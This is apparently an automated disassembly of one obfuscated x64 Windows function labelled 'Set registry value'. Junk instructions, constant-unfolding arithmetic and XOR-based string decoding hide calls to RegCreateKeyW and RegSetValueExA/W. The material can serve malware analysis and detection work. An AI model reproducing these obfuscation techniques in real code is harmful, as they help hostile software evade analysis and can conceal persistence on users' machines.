Function at 0x140047000
Capabilities:
Set registry value

Disassembly:
xchg rsp, rax
mov rsp, rax
xchg rsp, rax
xchg rbx, r9
mov qword [rax + 0x18], r9
xchg rbx, r9
jmp 0x140047495
mov qword [rsp + 0x30], rcx
mov dword [rbp - 0x18], 0x4d53765d
add dword [rbp - 0x18], 0x2afbf54a
xor dword [rbp - 0x18], 0x6792332b
add dword [rbp - 0x18], 0x41206951
sub dword [rbp - 0x18], 0x3d2ae856
jmp 0x1400470aa
sub eax, 0x3e6fd7e0
sub eax, 0x687f96
add eax, 0x31995c64
add eax, 0xc87ec2c
jmp 0x14004719d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
mov r8, r8
jmp 0x140047518
mov dword [rsp - 0x18], ebp
sar r14, 1
jmp 0x14004762e
movaps xmmword [r15 - 0x48], xmm6
xchg r15, rax
movaps xmmword [rax - 0x58], xmm7
xchg r15, r15
movaps xmmword [rax - 0x68], xmm8
movaps xmmword [rax - 0x78], xmm9
jmp 0x140047157
movq qword [rdx], xmm3
mov dword [rsp - 0x14], ebx
lea eax, [rcx + 4]
movd xmm2, eax
jmp 0x14004705c
add dword [rbp - 0x18], 0x5edabda
xor dword [rbp - 0x18], 0x29c08560
mov dword [rbp - 0x14], 0x730970bf
add dword [rbp - 0x14], 0xb61c857
xor dword [rbp - 0x14], 0x22786004
sub dword [rbp - 0x14], 0x3836b53
sub dword [rbp - 0x14], 0x4ee27103
jmp 0x1400470ef
mov rbp, rbp
lea rdx, [rdx + 0x10]
cmp ecx, 0x20
jmp 0x140047344
xor dword [rbp - 0x14], 0x40ea93c7
add dword [rbp - 0x14], 0x5f0a98c
add dword [rbp - 0x14], 0x28a46e00
sub dword [rbp - 0x14], 0x77dd0704
lea rdx, [rbp + 0x10]
xchg r15, rcx
mov r15, r12
jmp 0x14004716e
shr eax, 5
shr eax, 5
shr eax, 0xc
shr eax, 3
shr eax, 5
shr eax, 1
jmp 0x1400473e5
mov qword [rsp - 8], r13
sub rsp, 8
push r14
jmp 0x14004731f
jbe 0x14004762e
mov dword [rsp - 0x18], ecx
lea rax, [rsp + 0x50]
xchg r15, r14
jmp 0x1400474c6
mov rax, qword [0x14024f2e0]
mov dword [rsp - 0x18], 0x7889b350
xor rax, rsp
jmp 0x1400473fe
xchg rcx, r15
call fcn.1400a8a90
nop
lea rdx, [rbp - 0x60]
xchg rbx, rbx
jmp 0x1400472ca
movzx eax, word [0x1401148f4]
mov word [rbp - 0x6c], ax
xor r14d, r14d
mov ecx, r14d
mov dword [rsp - 0x34], ebx
jmp 0x1400471f5
imul ecx
xchg rsp, rsp
sar edx, 4
mov eax, edx
jmp 0x14004711a
xor eax, 0x63a4231f
sub eax, 0xc166946
sub eax, 0x3d907397
xor eax, 0x5588432
add eax, 0x29fc1ede
xor eax, 0x6877054b
sub eax, 0x2a4fd802
jmp 0x1400471d4
sub ax, dx
movzx eax, ax
mov dword [rsp - 0x20], 0x11e29b45
imul edx, eax, 0x32
add dx, cx
xor word [r8], dx
mov dword [rsp - 0x24], edx
jmp 0x1400472b6
lea eax, [r14 + 0x1f]
lea r15d, [r14 + 4]
mov r13d, dword [0x14024f2c0]
xchg rsp, rsp
cmp r13d, 2
jl 0x140047224
movdqa xmm5, xmmword [0x140113370]
jmp 0x140047355
jge 0x140047609
movsxd rax, ecx
mov dword [rsp - 0x38], 0x44981f4d
lea r8, [rsp + 0x50]
lea r8, [r8 + rax*2]
nop word [rax + rax]
mov eax, 0x2374b767
jmp 0x1400475a1
xor rdi, 0x3e6e112d
sub rdi, 0x28d67bbe
xor rdi, 0x70ed4325
add rdi, 0x7fffffff
add rdi, 0x21b17cfd
nop dword [rax]
inc rdi
jmp 0x140047298
lea rax, [rsp + 0x50]
mov dword [rsp - 0x18], esp
lea rax, [rax + rdi*2]
cmp rax, r15
jbe 0x140047625
lea rax, [r15 + r8]
mov rdx, rdx
jmp 0x1400474f9
mov dword [rsp - 0x10], esi
cmp word [rax + rdi*2], r14w
jne 0x14004726e
xchg rdi, rcx
mov rdi, qword [rsi + 0x10]
xchg rdi, rcx
jmp 0x14004756c
inc ecx
lea r8, [r8 + 2]
cmp ecx, 0x23
jl 0x14004723e
jmp 0x140047606
xchg r14, r12
mov rcx, r14
xchg r12, r14
call fcn.140043010
jmp 0x1400473ca
xchg rbp, r10
movups xmmword [r10 - 0x80], xmm1
xchg r10, rbp
mov eax, dword [0x1401148f0]
mov dword [rbp - 0x70], eax
mov dword [rsp - 0x40], 0x2f2b1733
jmp 0x140047183
movups xmm0, xmmword [0x1401148d0]
mov r9, r9
xchg rsp, r10
movups xmmword [r10 + 0x70], xmm0
xchg r10, rsp
movups xmm1, xmmword [0x1401148e0]
jmp 0x1400472dd
nop
push 0x6830f505
mov qword [rsp], r15
lea rbp, [rsp - 0x80]
sub rsp, 0x180
mov dword [rsp - 0x40], 0x25ad48f6
xchg r15, rax
jmp 0x140047079
jl 0x140047563
xchg r8, r8
cmp ecx, 0x23
jmp 0x14004721e
movdqa xmm4, xmmword [0x140114980]
mov dword [rsp - 0x40], 0x2b5d26e5
movd xmm6, r15d
movdqa xmm7, xmmword [str.2222]
movd xmm8, eax
jmp 0x140047552
nop
sub rsp, 8
mov qword [rsp], rdi
nop
mov qword [rsp - 8], r12
sub rsp, 8
nop
jmp 0x140047130
movdqa xmm0, xmm1
psrld xmm0, xmm8
mov dword [rsp - 0x38], ebx
jmp 0x140047532
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm9
mov dword [rsp - 0x20], 0x6cd1497c
paddw xmm3, xmm2
movq xmm0, qword [rdx]
pxor xmm3, xmm0
jmp 0x140047096
mov rsi, rax
xchg r8, r8
movups xmm0, xmmword [0x1401148b0]
xchg rsp, r12
movups xmmword [r12 + 0x50], xmm0
jmp 0x14004747b
add edx, eax
mov dword [rsp - 0x10], 0x77911a28
mov eax, 0xc08ca57
sub eax, 0x759962d
jmp 0x1400471ac
xchg r12, rax
mov qword [rbp + 0x30], r12
xchg r12, rax
xchg rdx, r9
mov r12, r9
xchg rdx, r9
jmp 0x140047016
jb 0x14004741d
mov r15, qword [rsi]
lea r8, [rcx + rcx]
jmp 0x140047276
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
xchg r9, r9
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
jmp 0x140047395
pshufd xmm2, xmm2, 0
mov dword [rsp - 0x1c], 0x4ac182ba
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
mov rcx, rcx
jmp 0x140047426
mov rsi, r15
xchg rsi, r15
cmp rdx, 8
xchg r9, r9
jmp 0x140047414
xchg rsp, r12
movups xmm1, xmmword [0x1401148c0]
xchg rsp, r8
movups xmmword [r8 + 0x60], xmm1
xchg r8, rsp
jmp 0x1400472fe
push rbp
mov dword [rsp - 0x3c], 0x1003bad9
nop
sub rsp, 8
mov qword [rsp], rsi
jmp 0x14004737c
add rdi, 0x2bfd1ea3
xor rdi, 0x6ce730f0
add rdi, 0xc4ff95d
jmp 0x140047248
mov r15, r14
xchg r15, r14
sub r14, rax
jmp 0x14004706d
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
mov dword [rsp - 0x44], ebp
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm9
paddw xmm3, xmm2
jmp 0x140047587
lea rcx, [rsp + 0x50]
cmp rcx, rax
ja 0x140047625
mov dword [rsp - 0x1c], ebp
lea rax, [rsp + 0x50]
cmp r15, rax
jmp 0x140047140
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
mov dword [rsp - 0xc], ebp
jmp 0x1400475b5
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
mov dword [rsp - 0x20], ebx
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
jmp 0x1400473a7
movdqa xmm9, xmmword [0x1401133a0]
mov r8, r8
lea rdx, [rsp + 0x50]
movd xmm2, ecx
jmp 0x140047448
mov rdx, qword [rsi + 0x18]
xchg r8, rdx
mov rax, r8
xchg r8, rdx
sub rax, rcx
cmp rdi, rax
xchg rdi, rdi
jmp 0x1400475e8
movq xmm0, qword [rdx + 8]
mov dword [rsp - 0x10], esp
pxor xmm3, xmm0
movq qword [rdx + 8], xmm3
add ecx, 8
jmp 0x1400470e0
sub eax, 0xbd094cc
xor eax, 0x3285c508
add eax, 0x2d80ac72
jmp 0x140047043
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
jmp 0x1400475c7
mov rbp, rbp
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
xchg r15, r15
pmulld xmm0, xmm7
jmp 0x1400474d4
ja 0x1400476dc
lea rax, [rcx + rdi]
mov qword [rsi + 0x10], rax
mov dword [rsp - 0x24], 0x3f130b4f
xchg rsi, r15
jmp 0x140047469
xchg r9, r9
lea rax, [rsp + 0x50]
nop
movabs rdi, 0xffffffff155ae133
sub rdi, 0x1134fe3a
jmp 0x1400474ac
xchg r12, rdi
mov r14, r12
xchg rdi, r12
lea rcx, [r15 + rdi*2]
mov dword [rsp - 0x1c], 0x528ba2fe
sub r8, 0xfffffffffffffffe
xchg r15, rbp
jmp 0x1400476c8
lea rdx, [rsp + 0x50]
mov r9, r9
xchg rcx, rsp
mov rsp, r15
xchg rcx, rsp
jmp 0x140047675
xchg rdi, r8
mov rdi, r8
xchg r8, rdi
sub r8, r14
mov dword [rsp - 0x20], 0x5667d4d6
jmp 0x1400476ab
call fcn.1400e5740
mov r8, r8
lea rcx, [rbx + r15]
jmp 0x14004765c
mov rdi, rdi
xchg rbp, rbx
mov r8, rbp
xchg rbx, rbp
jmp 0x140047646
xor r14d, r14d
lea r15d, [r14 + 4]
mov dword [rsp - 0x40], 0x7fa7efd7
jmp 0x1400477a8
add r8, r8
lea rax, [r14 + rdi]
lea rdx, [rsp + 0x50]
lea rdx, [rdx + rax*2]
xchg rsi, rsi
call fcn.1400e5740
jmp 0x140047697
mov rdx, rbp
xchg r15, rbp
call fcn.1400e5740
lea rbx, [r14 + r14]
jmp 0x140047686
mov qword [rsp + 0x28], rdi
lea rax, [rsp + 0x50]
mov dword [rsp - 0x28], edi
xchg r13, rax
mov qword [rsp + 0x20], r13
xchg r13, rax
jmp 0x140047753
xchg rcx, rbp
movups xmmword [rcx - 0x40], xmm6
xchg rbp, rcx
movups xmm7, xmmword [rsi + 0x10]
xchg rdi, rbp
jmp 0x14004773b
xor qword [rsi + 0x18], 0x194ab238
sub qword [rsi + 0x18], 0xebb4ce2
sub qword [rsi + 0x18], 0x1a4c82dc
xor qword [rsi + 0x18], 0x7ef95efb
sub qword [rsi + 0x18], 0xe0444c3
jmp 0x14004776b
movups xmmword [rdi - 0x30], xmm7
xchg rdi, rbp
mov qword [rsi + 0x10], r14
mov qword [rsi + 0x18], 0x7abce487
jmp 0x14004770e
xor r9d, r9d
mov dword [rsp - 0x1c], ebp
xor r8d, r8d
xchg rdx, rdi
mov rdi, rdx
xchg rdx, rdi
jmp 0x14004778f
sub qword [rsi + 0x18], 0x26a18853
add qword [rsi + 0x18], 0x2386473d
sub qword [rsi + 0x18], 0x32f8541a
mov word [rsi], r14w
mov rbx, rbx
jmp 0x1400477b0
xchg rsi, r9
mov rcx, r9
xchg rsi, r9
call fcn.140042780
mov dword [rsp - 0x20], 0x317e4c7c
mov rsi, rax
movups xmm6, xmmword [rsi]
jmp 0x1400476f8
mov rbx, qword [rsp + 0x30]
add rbx, 8
lea rax, [rbp - 0x40]
cmp rbx, rax
mov dword [rsp - 0x44], esi
je 0x1400477f4
mov rcx, rbx
jmp 0x1400477da
xchg rbx, r12
jmp 0x1400479bd
call fcn.140043c40
mov dword [rsp - 0x18], esi
movups xmmword [rbx], xmm6
xchg r12, rbx
movups xmmword [r12 + 0x10], xmm7
jmp 0x1400477d2
mov rdx, qword [rbp - 0x28]
cmp rdx, 8
jb 0x1400479bd
xchg r14, r14
lea rdx, [rdx*2 + 2]
jmp 0x140047981
add ebx, 0x525c27ea
sub ebx, 0x45a6858b
xor ebx, 0xe8b9fda
xor ebx, 0x8d7fb7d
xor ebx, 0x38aa9635
xor ebx, 0x71dffe10
jmp 0x14004787f
mov rcx, qword [rcx - 8]
sub rax, rcx
xchg r11, r11
neg rax
add rax, 8
neg rax
cmp rax, 0x1f
jmp 0x140047990
xchg rsi, rcx
mov rax, rsi
xchg rsi, rcx
cmp rdx, 0x1000
jb 0x140047996
mov dword [rsp - 0x20], 0x79b929c2
add rdx, 0x27
jmp 0x14004783b
sub ebx, 0x4fe774b9
add ebx, 0x932c567f
jmp 0x1400481fe
sub rdx, 0x4930d2e1
add rdx, 0x4930d308
mov rcx, qword [rcx - 8]
mov rsp, rsp
sub rax, rcx
nop
add rax, 0xffffffffc1b47005
jmp 0x14004796c
add rcx, 0x6eeb4d5
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
test eax, eax
mov dword [rsp - 0x18], 0x71acd349
je 0x1400479d0
mov ebx, 0x26dc8b47
jmp 0x140047812
mov dword [rsp - 0xc], 0x5a08bde8
call fcn.1400e3588
cmp qword [rbx + 0x18], 8
jb 0x140047939
xchg r9, r9
mov rbx, qword [rbx]
jmp 0x140047939
add rcx, 0x1cbcf980
sub rcx, 0x21a3b933
xor rcx, 0x5b88666c
add rcx, 0x1986a01b
xor rcx, 0xd5bf741
jmp 0x1400478b4
xchg rcx, rdx
nop
movabs rcx, 0xffffffff063339f0
jmp 0x1400478fe
lea r8, [rbp - 0x20]
xchg rdx, rcx
mov rcx, rbx
jmp 0x140047926
xchg r15, rcx
mov rax, r15
xchg rcx, r15
cmp rdx, 0x1000
jb 0x1400478e3
mov dword [rsp - 0x14], 0x2f447391
nop
jmp 0x140047890
sub rax, 0xffffffffc1b4700d
cmp rax, 0x1f
ja 0x14004844d
jmp 0x1400478db
xchg r14, rcx
mov r14, qword [rbp - 0x40]
xchg rcx, r14
jmp 0x140047858
ja 0x140048443
call fcn.1400e3588
mov r12, r12
nop
jmp 0x1400479bd
mov dword [rsp - 0x3c], 0x1d7df08b
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x60]
jmp 0x140047948
mov rdx, qword [rbp - 0x48]
cmp rdx, 8
jb 0x1400478e8
jmp 0x1400479a4
lea rdx, [rbp - 0x60]
xchg rdx, rdx
xchg r15, r12
mov rcx, r15
xchg r12, r15
jmp 0x140047cb2
jb 0x140048096
lea rdx, [rdx*2 + 2]
xchg r9, r9
mov rcx, qword [rbp - 0x60]
xchg r15, rax
mov r15, rcx
jmp 0x14004812a
xor eax, 0x67aa6d0f
add eax, 0x21c4d536
add eax, 0xe708de9
jmp 0x140047bf4
mov dword [rsp - 0x2c], ebp
mov ebx, r14d
jmp 0x1400482da
mov r8d, 0x52ae546
add r8d, 0x35c6e83b
xor r8d, 0x5646ea2
add r8d, 0x359918a3
xor r8d, 0x669377d2
jmp 0x140047b3d
sub rdx, 0x65da9234
mov rcx, qword [rcx - 8]
sub rax, rcx
nop
sub rax, 0xffffffff9a232ecb
add rax, 0xffffffff9a232ec3
jmp 0x140047d8e
mov dword [rsp - 0x38], edi
xchg r15, rcx
mov r15, qword [rbp - 0x20]
jmp 0x140047d42
xchg rsp, rsi
movups xmmword [rsi + 0x30], xmm0
xchg rsi, rsp
mov eax, dword [0x140114918]
jmp 0x140047ae5
mov qword [rsp + 0x20], r15
xchg rcx, r15
mov r9d, 0x65b7e79c
jmp 0x140047b8a
test eax, eax
jne 0x1400481b6
mov dword [rsp - 0x2c], 0x1654f2ed
movsd xmm0, qword [str.aGUGB7]
xchg rbx, rsp
jmp 0x140047c12
shr eax, 2
shr eax, 3
shr eax, 1
jmp 0x14004816f
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
xchg rbp, rbp
jmp 0x14004813b
mov dword [rsp + 0x40], eax
cmp word [0x14011491a], 0
mov rsi, rsi
je 0x140048055
mov eax, 0x5ae92914
add eax, 0x191cd00
jmp 0x140047cc8
xor word [rsp + 0x32], 0x33
mov dword [rsp - 0x38], 0x7ff5a5a5
xor word [rsp + 0x34], 0x34
jmp 0x140047fcb
jne 0x1400481b6
xchg rdx, rcx
mov rdx, qword [rbp - 0x20]
xchg rdx, rcx
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x140047a18
xor r8d, 0x4b1466c8
xor r8d, 0x48c8904b
xor r8d, 0x10613a9f
mov eax, r8d
lea r10, [rsp + 0x30]
mov rdx, rdx
jmp 0x140047f5a
xor word [rsp + 0x32], 0x33
mov dword [rsp - 0x24], ebp
xor word [rsp + 0x34], 0x34
xor word [rsp + 0x36], 0x35
xor ax, 0x36
mov word [rsp + 0x38], ax
mov dword [rsp - 0x28], ebp
jmp 0x140047e03
sub r9d, 0x542a9bb
sub r9d, 0x430a4e05
add r9d, 0x11a39da4
xor r9d, 0x2e38e56d
add r9d, 0x7863ce79
xor r9d, 0x12bc9a37
sub r9d, 0x6b26ad4f
jmp 0x140047f7a
cmp qword [rbp + 0x28], 8
cmovae rcx, qword [rbp + 0x10]
mov dword [rsp - 0x20], 0x2830ef85
movups xmm0, xmmword [str.URSgYMR_]
jmp 0x140047a7b
mov r8d, r14d
cmp r13d, 2
jl 0x140047b52
mov dword [rsp - 0x2c], ebx
jmp 0x140047cf4
add eax, 0x10f3a423
sub eax, 0x3acc3ed3
xor eax, 0x2340df92
sub eax, 0x16877425
mov word [rsp + 0x30], ax
jmp 0x140047b09
movsd qword [rbx + 0x30], xmm0
xchg rsp, rbx
mov eax, dword [0x140114938]
mov r10, r10
mov dword [rsp + 0x38], eax
cmp word [0x14011493a], 0
je 0x140047fe1
jmp 0x140048037
mov rdx, qword [rbp - 0x48]
mov dword [rsp - 0x14], esi
cmp rdx, 8
jmp 0x1400479e5
xchg r10, rsp
movsd qword [r10 + 0x30], xmm0
xchg r10, rsp
mov eax, dword [0x140114900]
mov dword [rsp + 0x38], eax
jmp 0x140047c89
movzx eax, word [0x140114928]
mov ecx, 0x4025bbc9
add ecx, 0x29dfe502
sub ecx, 0x137ee41b
add ecx, 0xd462aa5
jmp 0x140047eab
cmp byte [0x140114903], 0
mov rsp, rsp
je 0x140047dd9
jmp 0x140047bde
lea rdx, [rsp + 0x30]
mov rcx, qword [rbp - 0x20]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
jmp 0x14004814c
call fcn.140043010
mov dword [rsp - 0x10], 0xb7ee0e3
nop
xor r8d, r8d
jmp 0x140047dea
add eax, 0x864d5d
xor eax, 0x97de0f3
sub eax, 0x2421df4d
sub eax, 0x1f43d874
jmp 0x1400480b4
jb 0x140047d9b
nop
add rdx, 0x65da925b
jmp 0x140047a4b
movdqa xmm4, xmmword [0x140114980]
movd xmm6, r15d
mov eax, 0x1f9c4ab1
add eax, 0x3d40378f
sub eax, 0x158257ee
add eax, 0x140ecfb9
xor eax, 0x459b4364
jmp 0x140047fb2
mov r13, r13
mov r9d, 0x6a130f62
xor r9d, 0x381e80a1
add r9d, 0x20b4fc81
sub r9d, 0x68f9ea24
jmp 0x140047ed3
xchg rcx, r15
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
xchg r12, r12
jmp 0x140047b22
mov rcx, qword [rbp - 0x20]
mov r9, r9
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
jmp 0x140047aa3
psrld xmm0, xmm5
mov dword [rsp - 0x44], ebp
paddd xmm0, xmm1
pmulld xmm0, xmmword [str.2222]
psubd xmm2, xmm0
mov dword [rsp - 0x34], esp
pshuflw xmm0, xmm2, 0xd8
jmp 0x140048020
cmp rax, 0x1f
mov rdx, rdx
ja 0x140048458
call fcn.1400e3588
jmp 0x140048096
xor eax, 0x38b93cc3
sub eax, 0x47dd1734
sub eax, 0x8300b9a
add eax, 0x1e5f955c
xor eax, 0x36bbb9bc
sub al, dl
xchg r9, r9
jmp 0x14004810e
lea r10, [r10 + 1]
cmp r8d, 0xc
xchg r9, r9
jl 0x140047f6b
mov eax, dword [rbp]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], r11
jmp 0x140047d1f
xchg r9, rax
mov rdx, r9
xchg r9, rax
lea rcx, [rbp - 0x10]
xchg r11, r11
call fcn.1400affa0
nop
jmp 0x140047c3a
mov dword [rsp + 0x28], r15d
lea rax, [rbp - 0x18]
xchg rsi, rax
jmp 0x140047e13
mov qword [rsp + 0x20], rsi
xchg rsi, rax
mov r9d, r15d
mov dword [rsp - 0x3c], 0xb784985
xor r8d, r8d
lea rdx, [rsp + 0x30]
jmp 0x140047d55
xor eax, 0x78cbe229
xor eax, 0x2bdeb600
sub eax, 0x15b64a7c
xor eax, 0x285643c0
sub eax, 0xf86f530
add eax, 0x4ac9c90
add eax, 0x345adc2f
jmp 0x140047f19
mov dword [rsp - 0x10], ebx
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.2222222222222222]
movd xmm0, dword [rsp + 0x34]
mov dword [rsp - 0x30], esi
pxor xmm2, xmm0
movd dword [rsp + 0x34], xmm2
jmp 0x140047a24
xchg rdi, rcx
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x1400481b6
mov dword [rsp - 0x18], edx
movsd xmm0, qword [str.fJDP6]
movsd qword [rsp + 0x30], xmm0
jmp 0x140047c66
xor ecx, 0x14d25137
sub ecx, 0x4fd93df0
xor ecx, 0x621e26f1
sub ecx, 0xd6346ad
xor ecx, 0x37f81782
mov word [rsp + 0x30], cx
jmp 0x140047b62
xor r9d, 0x6f244026
sub r9d, 0x52c09a08
sub r9d, 0x11143ee3
sub r9d, 0x318091a
xor r8d, r8d
mov dword [rsp - 0x30], 0x6993f51f
jmp 0x140047c9e
xchg rdx, rdx
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1401133b0]
jmp 0x140047e5a
imul r8d
sar edx, 4
mov eax, edx
mov r8, r8
shr eax, 0x19
jmp 0x140047ac3
mov rsp, rsp
xor word [rsp + 0x36], 0x35
xor word [rsp + 0x38], 0x36
xor word [rsp + 0x3a], 0x37
xor word [rsp + 0x3c], 0x38
mov dword [rsp - 0x40], 0x1dbe0579
xor word [rsp + 0x3e], 0x39
jmp 0x140048049
add r10, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x71c92c42
sub eax, 0x2ae2535d
jmp 0x140047e32
xor r8d, r8d
mov dword [rsp - 0x38], 0x7e87f8eb
lea rdx, [rsp + 0x30]
xchg rdi, rcx
mov rdi, qword [rbp - 0x20]
jmp 0x140047e83
lea rax, [rbp - 0x14]
mov qword [rsp + 0x20], rax
xchg rdx, rdx
mov r9d, r15d
xor r8d, r8d
lea rdx, [rsp + 0x30]
jmp 0x140047a6b
xor eax, 0x7de79625
xor eax, 0x27095fb4
xor eax, 0x37fd8b57
sub eax, 0x73e0fb8a
jmp 0x140048192
xor word [rsp + 0x36], 0x35
xor word [rsp + 0x38], 0x36
mov dword [rsp - 0x18], ecx
xor word [rsp + 0x3a], 0x37
mov dword [rsp + 0x28], r15d
jmp 0x140047f96
mov dword [rsp - 0x10], edi
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.2222222222222222]
movd xmm0, dword [str.vZGEZVAw_VY]
pxor xmm2, xmm0
xchg r11, r11
jmp 0x1400480d9
psrld xmm0, xmm5
mov dword [rsp - 0x3c], esp
paddd xmm0, xmm1
jmp 0x14004807f
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1401133b0]
jmp 0x140047feb
mov rcx, rcx
mov eax, 0x204f8218
xor eax, 0x688f0c6c
jmp 0x140047a04
xor word [rsp + 0x40], 0x3a
xor word [rsp + 0x42], 0x3b
mov dword [rsp + 0x28], edx
mov dword [rsp - 0x34], ecx
xchg rcx, r15
jmp 0x140047a90
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
mov dword [rsp - 0x30], 0x3469943
jmp 0x1400480fd
pmulld xmm0, xmmword [str.2222]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
jmp 0x140047eff
lea r11, [rbp - 0x10]
mov r15, r15
cmp qword [rbp + 8], 0x10
cmovae r11, qword [rbp - 0x10]
movsd xmm0, qword [str.vZGEZVAw_VY]
jmp 0x140047c4b
add eax, 0x5e3ab371
sub eax, 0x1143af8b
xor eax, 0x5e0defee
mov word [rsp + 0x30], ax
xor word [rsp + 0x32], 0x33
xor word [rsp + 0x34], 0x34
jmp 0x140047f2c
movd dword [rsp + 0x30], xmm2
movdqa xmm3, xmmword [0x140113380]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
mov dword [rsp - 0xc], edx
pmuldq xmm1, xmm4
jmp 0x140048065
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
jmp 0x14004800f
movsx eax, al
imul ecx, eax, 0x32
add cl, r8b
mov dword [rsp - 0x3c], 0x66125070
xor byte [r10], cl
inc r8d
jmp 0x140047dc8
xchg r15, rax
cmp rdx, 0x1000
xchg rsi, rsi
jmp 0x140047ce1
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
jmp 0x140047d67
test eax, eax
mov dword [rsp - 0x2c], esp
jne 0x1400481b6
mov eax, dword [rbp + 0x20]
lea edx, [rax + rax]
mov dword [rsp - 0xc], 0xad77c03
lea rcx, [rbp + 0x10]
jmp 0x140047bc0
add edx, eax
mov dword [rsp - 0x44], 0xdbf3cac
mov eax, 0x7373c865
xor eax, 0x100c0977
sub eax, 0x2220921c
xor eax, 0x118f551a
jmp 0x140047da5
movd xmm5, eax
xchg rsp, rsp
movdqa xmm2, xmmword [0x140113370]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
mov r14, r14
pmuldq xmm1, xmm4
jmp 0x140047ad0
mov ebx, 0x3bc03db9
add ebx, 0x2ff60162
sub ebx, 0x42d60c7
xor ebx, 0x3915eab8
jmp 0x140048305
cmp rdx, 0x1000
xchg r8, r8
jb 0x140048400
nop
sub rdx, 0x5d75d5c0
add rdx, 0x5d75d5e7
jmp 0x14004842e
xor byte [rbp - 0x10], 0xa
sub byte [rbp - 0x10], 0x11
xchg r8, rdx
jmp 0x140048388
mov r14, r14
nop
add rdx, 0x6076e6fb
sub rdx, 0x6076e6d4
jmp 0x1400482ca
xchg rdx, r11
movaps xmm6, xmmword [rdx - 0x10]
xchg r11, rdx
movaps xmm7, xmmword [r11 - 0x20]
jmp 0x140048348
mov dword [rsp - 0x44], ebp
cmp rax, 0x1f
ja 0x140048466
call fcn.1400e3588
xchg r12, r14
mov qword [rbp], r12
xchg r12, r14
jmp 0x1400482ad
nop
add rax, 0xffffffffd12c44b9
sub rax, 0xffffffffd12c44c1
cmp rax, 0x1f
ja 0x14004843d
xchg rbp, rbp
jmp 0x140048400
add rsp, 8
mov r15, qword [rsp - 8]
pop r14
mov dword [rsp - 0x30], 0x48951e1a
nop
add rsp, 8
mov r13, qword [rsp - 8]
jmp 0x1400482ed
xor qword [rbp + 8], 0x2565a13e
sub qword [rbp + 8], 0x4f78e01d
mov byte [rbp - 0x10], 0x4c
jmp 0x1400483ce
mov qword [rbp + 8], 0x6b3281cb
sub qword [rbp + 8], 0x8bf2e0
sub qword [rbp + 8], 0x5681d55a
jmp 0x1400483b1
mov rcx, qword [rcx - 8]
sub rax, rcx
sub rax, 8
jmp 0x140048231
xchg r9, rdx
mov r9, qword [rbp + 8]
xchg r9, rdx
cmp rdx, 0x10
jmp 0x1400483e7
nop
add rsp, 8
mov r12, qword [rsp - 8]
nop
mov rdi, qword [rsp]
add rsp, 8
jmp 0x1400483aa
xor ebx, 0x70817748
xor ebx, 0x5084e72d
xor ebx, 0x4361754
xor ebx, 0xbaaeb290
jmp 0x1400482da
jb 0x140048405
lea rdx, [rdx*2 + 2]
mov dword [rsp - 0x2c], 0x72a865f1
mov rcx, qword [rbp + 0x10]
xchg rcx, rax
mov rcx, rax
xchg rcx, rax
jmp 0x1400481d2
mov dword [rsp - 0x30], ebx
xchg r11, rdx
movaps xmm8, xmmword [rdx - 0x30]
xchg rdx, r11
xchg rsp, r11
movaps xmm9, xmmword [rsp - 0x40]
jmp 0x140048398
xor rcx, rsp
call fcn.1400e36a0
lea r11, [rsp + 0x180]
mov dword [rsp - 0x28], ebp
xchg r8, rbx
mov r8, qword [r11 + 0x50]
xchg r8, rbx
jmp 0x14004821d
mov r8, qword [rbp + 0x28]
xchg rdx, r8
cmp rdx, 8
jmp 0x140048322
xchg rsp, r11
xchg rsp, rdi
mov rdi, r11
xchg rsp, rdi
nop
jmp 0x140048272
pop rsi
pop rbp
mov dword [rsp - 0x44], ebx
ret
sub qword [rbp + 8], 0xa59882b
add qword [rbp + 8], 0x1e48100a
add qword [rbp + 8], 0x4209ffa2
jmp 0x140048294
sub byte [rbp - 0x10], 0x3e
xor byte [rbp - 0x10], 0x7d
xor byte [rbp - 0x10], 0x21
sub byte [rbp - 0x10], 0x28
xor byte [rbp - 0x10], 0x31
jmp 0x1400481f6
jb 0x140048244
mov dword [rsp - 0x44], ebx
inc rdx
xchg rcx, rsp
mov rsp, qword [rbp - 0x10]
jmp 0x140048416
call fcn.1400e3588
mov eax, ebx
xchg rcx, rsp
mov rsp, qword [rbp + 0x30]
xchg rcx, rsp
jmp 0x140048365
xchg rsp, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004823f
